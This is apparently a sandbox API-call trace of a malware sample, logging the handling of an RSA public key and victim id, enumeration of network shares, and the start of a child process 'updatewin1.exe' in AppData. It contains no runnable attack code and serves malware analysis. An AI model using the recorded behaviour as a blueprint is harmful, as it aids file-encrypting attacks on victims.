KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 544 [0051.082] lstrcpyW (in: lpString1=0x51a7c0, lpString2="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}" | out: lpString1="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}" [0051.083] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60793c0 | out: hHeap=0x3500000) returned 1 [0051.083] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 544 [0051.083] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x442) returned 0x601c970 [0051.083] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12a8a778, cbMultiByte=-1, lpWideCharStr=0x601c970, cchWideChar=545 | out: lpWideCharStr="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 545 [0051.083] lstrcpyW (in: lpString1=0x51a7c0, lpString2="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}" | out: lpString1="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}" [0051.083] lstrlenW (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0051.083] lstrlenA (lpString="\",\"id\":\"") returned 8 [0051.083] lstrcpyA (in: lpString1=0x12a8ab78, lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}" | out: lpString1="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}" [0051.083] lstrcpyA (in: lpString1=0x12a8a778, lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}" | out: lpString1="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}" [0051.083] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0051.083] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0051.083] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0051.083] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0051.083] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0051.083] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0051.083] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0051.083] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0051.083] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0051.083] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0051.083] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0051.083] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0051.083] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0051.083] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0051.083] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0051.083] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0051.083] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0051.083] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0051.083] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0051.083] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0051.083] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0051.083] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0051.083] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0051.083] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0051.083] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0051.084] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0051.084] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0051.084] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0051.084] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0051.084] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0051.084] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0051.084] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0051.084] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0051.084] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0051.084] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0051.084] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0051.084] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0051.084] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0051.084] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0051.084] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0051.084] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0051.084] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x30) returned 0x605e950 [0051.084] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x854) returned 0x6078778 [0051.084] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x605e950, cbMultiByte=-1, lpWideCharStr=0x6078778, cchWideChar=1066 | out: lpWideCharStr="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 43 [0051.084] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x860) returned 0x6078fd8 [0051.084] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6078778 | out: hHeap=0x3500000) returned 1 [0051.084] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x605e950 | out: hHeap=0x3500000) returned 1 [0051.084] lstrcpyW (in: lpString1=0x521cf0, lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}" | out: lpString1="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}" [0051.084] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6078fd8 | out: hHeap=0x3500000) returned 1 [0051.084] lstrlenA (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 42 [0051.084] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x56) returned 0x6031f60 [0051.084] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12a8a778, cbMultiByte=-1, lpWideCharStr=0x6031f60, cchWideChar=43 | out: lpWideCharStr="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned 43 [0051.084] lstrcpyW (in: lpString1=0x521cf0, lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}" | out: lpString1="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}" [0051.084] lstrlenW (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0051.084] lstrlenW (lpString="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN") returned 40 [0051.084] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x601f260 | out: hHeap=0x3500000) returned 1 [0051.084] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6037418 | out: hHeap=0x3500000) returned 1 Thread: id = 46 os_tid = 0xac0 [0051.918] timeGetTime () returned 0x11466dd [0051.918] GetLastError () returned 0x54f [0051.918] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x3bc) returned 0x60a6390 [0051.918] GetCurrentThreadId () returned 0xac0 [0051.918] SetLastError (dwErrCode=0x54f) [0051.918] Sleep (dwMilliseconds=0x9c40) Thread: id = 47 os_tid = 0xac4 [0051.919] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0xcd7fee0 | out: lphEnum=0xcd7fee0*=0x604a800) returned 0x0 [0052.346] WNetEnumResourceW (in: hEnum=0x604a800, lpcCount=0xcd7fedc, lpBuffer=0xc94cfd8, lpBufferSize=0xcd7fed8 | out: lpcCount=0xcd7fedc, lpBuffer=0xc94cfd8, lpBufferSize=0xcd7fed8) returned 0x0 [0052.346] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x40) returned 0x60974f8 [0052.346] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x40) returned 0x6097540 [0052.346] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x70) returned 0x60531a8 [0052.346] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x40) returned 0x6097588 [0052.346] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x40) returned 0x60975d0 [0052.346] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0xc94cfd8, lphEnum=0xcd7fe28 | out: lphEnum=0xcd7fe28*=0x6006588) returned 0x0 [0052.424] WNetEnumResourceW (in: hEnum=0x6006588, lpcCount=0xcd7fe24, lpBuffer=0x609df70, lpBufferSize=0xcd7fe20 | out: lpcCount=0xcd7fe24, lpBuffer=0x609df70, lpBufferSize=0xcd7fe20) returned 0x103 [0052.424] WNetCloseEnum (hEnum=0x6006588) returned 0x0 [0052.424] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6097540 | out: hHeap=0x3500000) returned 1 [0052.424] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60974f8 | out: hHeap=0x3500000) returned 1 [0052.424] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x40) returned 0x60974f8 [0052.424] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x40) returned 0x6097540 [0052.424] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0xe0) returned 0x604fc78 [0052.424] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x40) returned 0x6097108 [0052.424] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x40) returned 0x60970c0 [0052.424] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60975d0 | out: hHeap=0x3500000) returned 1 [0052.424] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6097588 | out: hHeap=0x3500000) returned 1 [0052.424] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60531a8 | out: hHeap=0x3500000) returned 1 [0052.424] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x40) returned 0x6097588 [0052.424] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x40) returned 0x60975d0 [0052.424] WNetOpenEnumW (dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0xc94cff8, lphEnum=0xcd7fe28) Thread: id = 48 os_tid = 0xad0 Process: id = "6" image_name = "updatewin1.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin1.exe" page_root = "0x1151b000" os_pid = "0xac8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0xa68" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin1.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 49 os_tid = 0xacc [0052.778] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0x8d6567e0, dwHighDateTime=0x1d56c59)) [0052.778] GetCurrentProcessId () returned 0xac8 [0052.778] GetCurrentThreadId () returned 0xacc [0052.778] GetTickCount () returned 0x1146845 [0052.778] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=17307784123) returned 1 [0052.826] GetStartupInfoA (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0052.826] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x310000 [0052.827] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0052.827] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0052.827] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0052.827] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0052.827] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0052.827] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0052.827] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0052.828] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0052.828] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0052.828] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0052.828] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0052.828] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0052.828] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0052.828] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0052.828] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0052.829] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0052.829] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0052.829] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0052.829] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0052.829] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0052.829] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0052.829] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x214) returned 0x3107d0 [0052.830] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0052.830] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0052.830] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0052.830] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0052.830] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0052.830] GetCurrentThreadId () returned 0xacc [0052.830] GetStartupInfoA (in: lpStartupInfo=0x18fea4 | out: lpStartupInfo=0x18fea4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0052.830] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x800) returned 0x3109f0 [0052.830] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0052.830] 